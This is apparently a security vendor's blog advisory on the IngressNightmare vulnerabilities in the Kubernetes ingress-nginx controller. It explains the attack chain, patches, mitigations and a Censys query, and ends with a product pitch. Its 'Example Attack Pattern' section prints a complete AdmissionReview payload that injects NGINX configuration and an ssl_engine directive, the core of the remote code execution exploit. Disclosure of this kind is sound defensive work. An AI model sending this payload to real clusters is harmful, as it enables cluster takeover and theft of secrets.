The 9.8 Ingress NGINX Nightmare That Gave Attackers Complete Control

This week, five critical vulnerabilities were disclosed in the Ingress NGINX Controller. These vulnerabilities have the potential to allow unauthenticated remote code execution, putting 5,000 clusters at risk.

The vulnerabilities (CVE-2025-24513, CVE-2025-24514, CVE-2025-1097, CVE-2025-1098, and CVE-2025-1974), assigned a CVSS score of 9.8, have been collectively codenamed IngressNightmare by Wiz. It's important to note that the vulnerabilities found don't impact NGINX Ingress Controller, which is another ingress controller implementation for NGINX and NGINX Plus.

The official list of CVEs

• CVE-2025-1098 (CVSS score: 8.8) - GitHub Issue
• CVE-2025-1097 (CVSS score: 8.8)- GitHub Issue
• CVE-2025-24514 (CVSS score: 8.8) - GitHub Issue
• CVE-2025-24513 (CVSS score: 4.8) - GitHub Issue

But the most critical was:

• CVE-2025-1974 (CVSS score: 9.8)- GitHub Issue

What is NGINX Ingress Controller for K8s and How Does It Work

Ingress is a Kubernetes feature that routes external traffic to Pods enabling controlled access to workloads. To keep the implementation environment agnostic, users have the flexibility to define how their applications are available on the network. Once defined, an ingress controller creates local or cloud resources for a particular situation and needs.

Ingress-nginx is a software-only ingress controller provided by the Kubernetes project deployed in over 40% of Kubernetes clusters. By default, this ingress controller is accessible over the network without authentication.

The Vulnerabilities Breakdown

While a set of five vulnerabilities were found the most serious was, CVE-2025-1974, which was rated 9.8 CVSS. CVE-2025-1974 allowed anything on the cluster network to exploit configuration injection vulnerabilities via the Validating Admission Controller feature of ingress-nginx. So why was this one more alarming: typically a user would need to create an Ingress object in the cluster, which is a fairly privileged action. However, when combined with the other 4 vulnerabilities, CVE-2025-1974 creates a path to a cluster network and introduces the chance of an attacker taking over a Kubernetes cluster, with no credentials or administrative access required. To double down on this point, a cluster is not isolated, in many cases, the cluster network is accessible to every workload in a cloud VPC, and potentially could create a direct path to your corporate network.

This had the potential to be a scary situation for a lot of teams.

How Attackers Could Leverage This

It’s important to note while these findings are serious the exploitation likelihood is potentially low because of the steps an attacker would need to complete. To shine some light on what is required: an attacker needs to be in the cluster and a way to get in to a cluster is by exploiting an application, gaining possession on the cluster namespaced secrets, and then reaching the admin controller service. Once an attacker has access they can:

1. Send malicious AdmissionReview requests to the unauthenticated admission controller
2. Inject arbitrary NGINX configuration directives via several annotation parsing flaws
3. Load malicious shared libraries using the ssl_engine directive
4. Execute arbitrary code with the controller's elevated privileges
5. Extract Kubernetes secrets to escalate privileges and gain full cluster control. After executing arbitrary code, the attacker can access namespaced secrets stored in Kubernetes, which may include API tokens, credentials, and TLS certificates. With these secrets, the attacker can escalate privileges, move laterally within the cluster, and potentially achieve complete control over Kubernetes resources.

Example Attack Pattern

{
    "kind": "AdmissionReview",
    "apiVersion": "admission.k8s.io/v1",
    "request":
    {
        "uid": "32651a35-4df0-475d-97ad-0570983bb3a8",
        "kind":
        {
            "group": "networking.k8s.io",
            "version": "v1",
            "kind": "Ingress"
        },
        "resource":
        {
            "group": "networking.k8s.io",
            "version": "v1",
            "resource": "ingresses"
        },
        "name": "ingress-nightmare-test",
        "namespace": "default",
        "operation": "CREATE",
        "userInfo":
        {
            "username": "system:anonymous",
            "groups":
            [
                "system:unauthenticated"
            ]
        },
        "object":
        {
            "kind": "Ingress",
            "apiVersion": "networking.k8s.io/v1",
            "metadata":
            {
                "name": "ingress-nightmare-test",
                "namespace": "default",
                "annotations":
                {
                    "nginx.ingress.kubernetes.io/auth-url": "http://example.com/#;\n}\n}\n}\nssl_engine \"/proc/30/fd/14\";server{\nhttp{\nlocation /miggo {\n#"
                }
            },
            "spec":
            {
                "ingressClassName": "nginx",
                "rules":
                [
                    {
                        "host": "miggo.example.com",
                        "http":
                        {
                            "paths":
                            [
                                {
                                    "path": "/",
                                    "pathType": "Prefix",
                                    "backend":
                                    {
                                        "service":
                                        {
                                            "name": "miggo-service",
                                            "port":
                                            {
                                                "number": 80
                                            }
                                        }
                                    }
                                }
                            ]
                        }
                    }
                ]
            }
        },
        "oldObject": null,
        "dryRun": false
    }
}

‍

Remediation Recommendations

The teams working on this moved fast and released these official patches. To reiterate, this incident impacted ~5,000 clusters. If you’re a cluster admin and unsure if you’re impacted you can run kubectl get pods --all-namespaces --selector [app.kubernetes.io/name=ingress-nginx](<http://app.kubernetes.io/name=ingress-nginx.hto>) to confirm. If so, here are the recommended steps to take as soon as possible:

1. Update to Ingress NGINX Controller v1.12.1 or v1.11.5 immediately
2. Ensure admission webhook endpoint is not exposed externally. Here is a censys query for exposed instances (Link):
   services.tls.certificates.leaf_data.names: *nginx* AND
services.tls.certificates.leaf_data.issuer.organization: *nil1* AND
services.tls.certificates.leaf_data.subject.organization: *nil2*‍
3. Apply network policies to restrict access to the admission controller
4. As temporary mitigation, disable the admission controller component if immediate patching isn't possible

How Miggo Could’ve Helped

Earlier we mentioned that an attackers way in to exploit these vulnerabilities would be by exploiting an application, and then reaching the admin controller service. Teams need a way to ensure their applications, including it underlying infrastructure are protected, and in the case of a threat, are immediately notified and provided with response guidance. So could Miggo’s ADR enable teams to confidently handle the NGINX nightmare?

1. Miggo’s continuously monitoring not only applications, but application's infra configurations as well, making sure nothing gets by unnoticed, and the flag is raised once a risk emerges.
2. When a risk emerges, teams need to know what to do. Miggo enables teams to take action with environment specific response guidance.